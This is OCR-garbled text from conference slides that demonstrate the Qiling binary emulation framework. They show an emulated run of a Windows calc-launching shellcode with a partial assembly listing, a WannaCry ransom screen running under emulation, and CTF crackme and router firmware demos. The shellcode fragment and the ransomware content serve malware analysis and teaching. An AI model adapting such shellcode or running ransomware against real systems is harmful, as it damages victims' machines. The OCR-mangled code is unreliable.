Running a Windows Shellcode

(38)% ./gltool shellcode --os windows --arch x86 --rootfs examples/rootfs/x86 windows --asm -f examples/shellcodes/win32 ob_exec_calc.asm
>>> Load ASM from FILE
>>> SET_THREAD AREA selector : @x73
>>> SET_THREAD AREA selector : @x7b
>>> SET_THREAD AREA selector : 8x83
>>> SET_THREAD AREA selector : @x8b
>>> SET_THREAD AREA selector : 8x90
>>> TEB addr is 0x4000
>>> PEB addr is ©x4044
>>> Loading examples/rootfs/x86 windows/dlls/ntdll.d11l to ©x10068080
>>> Done with loading examples/rootfs/x86 windows/dlls/ntdl11.d11
>>> Loading examples/rootfs/x86 windows/dlls/kernel32.d11 to ©x1141000
>>> Done with loading examples/rootfs/x86 windows/dlls/kernel32.d11
>>> Loading examples/rootfs/x86 windows/dlls/user32.dll to 8x1215008
>>> Done with loading examples/rootfs/x86 windows/dlls/user32.d11
0x11d02ae: WinExec('calc', 1)
Bx1183a49: GetVersion() = @
8x119cd12: ExitProcess(0x80)
(17:28:28) :xwingsf@bespin:
(39)% cat examples/shellcodes/win32 ob_exec_calc.asm
cld
call ©x88
pusha
mov ebp,esp
Xor eax, eax
mov edx,DWORD PTR fs:[eax+8x30]
mov edx,DWORD PTR [edx+@xc]
mov edx,DWORD PTR [edx+0x14]
mov esi,DWORD PTR [edx+0x28]
movzx ecx,WORD PTR [edx+0x26]
xor edi,edi
lods al,BYTE PTR ds:[esi]
al,ex61
Bx25
al,Bx20
edi,Bxd
edi,eax
Bxle

Calling calc.exe
I SSSSRRRRERERRRRRREEEEEEEHEHIHIISHHHHHHEHHHHEHHHSHH=IISSSSSBBGBE.



One Step A Head
and
The ACTUAL DEMO



How Does It Work

o e T |k kaa] T et

PE result
PE32+ post process
macho

API / Syscall CPU Hook

Base OS can be Windows/Linux/BSD or OSX

And not limited to ARCH




Demo Setup

VMware with Ubuntu 64Bit on XPS, with ACTUAL AD-HOC DEMO




Some Hello World Demo

Helloworld Helloworld qgiling
For Different ARCH For Different OS Walk Thru

VMware with Ubuntu 64Bit on XPS




Linux Demo

N

elcome to the KNOPPIX live GMU/Linux on DUD?Y

[Running Linux Kernel 2.6.24.4.
124132kB 118180kB

IQEHU CD-ROM1
ficcessing KNOPPIX DUD at
Found primary KNOPPIX compressed image at
Found additional KNOPPIX compressed image at
srandisk

>> Read-only DUD systen successfully merged with read-urite /randisk.

INIT: version 2.86 booting
onfiguring for Linux Rernel 2.6.24.4.
P Pentiun 11 (Klamath) 1662HHz, 128 KB Cache

: apnd 3.Z.1 interfacing with apn driver 1.16ac and APM BIOS 1.2
AP Bios found, power management functions enabled.
SB found, managed
[Fireuire found, managed by

hot—plug hardware detection

futoconf iguring devices. ..

X86
Reversing.kr Challenge

[toop detected

Toop detested]

ARMG64 Debug Mode

Pr——— - o

Optiunel Sestioes
e
e e 0
sir
n a3 sm

DICP Serves Settna | BICPSccer

152 i3 a0 e

o
o T e

Moo Zan | 51608 v ey

P —

ARM
WiFi Router Firmware

VMware with Ubuntu 64Bit on XPS




Windows Demo

Real CTF Challenge

Qoops, your files have been encrypted!

at Happened to My Computer?
Your important files are encrypted
[Many of your documants, photos, videos, databases and other Bes are no longer
accessiie because they have been encrypted Maybe you are busy looking for a way to
ecover your fe3, but donot waste your time. Nobody can recover your files without
our decryption service

(Can | Recover My Files? I
[Sure. We guarantee that you can recover all your fles safely and easily. But you have
frot 50 enough time
‘ou can decrypt some of your fles for free. Try now by clicking <Decrypt>
[But  you want to decrypt all your fles, you need to pay.
‘ou only have 3 days to submit the payment. After that the price will be doubled.
Is0, f you don't pay in 7 days, you won't be able to recover your files forever.
o will have free events for users who are 50 poor that they couldn't pay in 6 months.

How Do I Pay?
[Payment is accepted in BRcokn only. For more information, click <About bicoin>.
[Please check the current price of Bitcoin and buy some bitcoins. For mare nformation,
lick <How to buy bitcomns>.
send the correct amount tothe address specified in this window.
er your payment, click <Check Payment>. Best time to check: %:00am - 11:00am

|1231231 123

: EasyCrackMe

(Q) Incorrect Password
h 4

=)

Half “Cooked” Wannacry

Patching a
CrackMe Challenge

Emulating Windows DialogBox within Qiling



Call for Alpha Tester

Info@qiling.io

Subject: Qiling/Jiuwel Alpha
Content: Your Github or Gitlab

KaiJern LAU, kj -at- giling.io
NGUYEN Anh Quynh, aquynh -at- gmail.com
huitao, CHEN null -at- giling.io

TianZe DING, dliv3 -at- gmail.com

BoWen SUN, wltcher.bupt -at- gmail.com



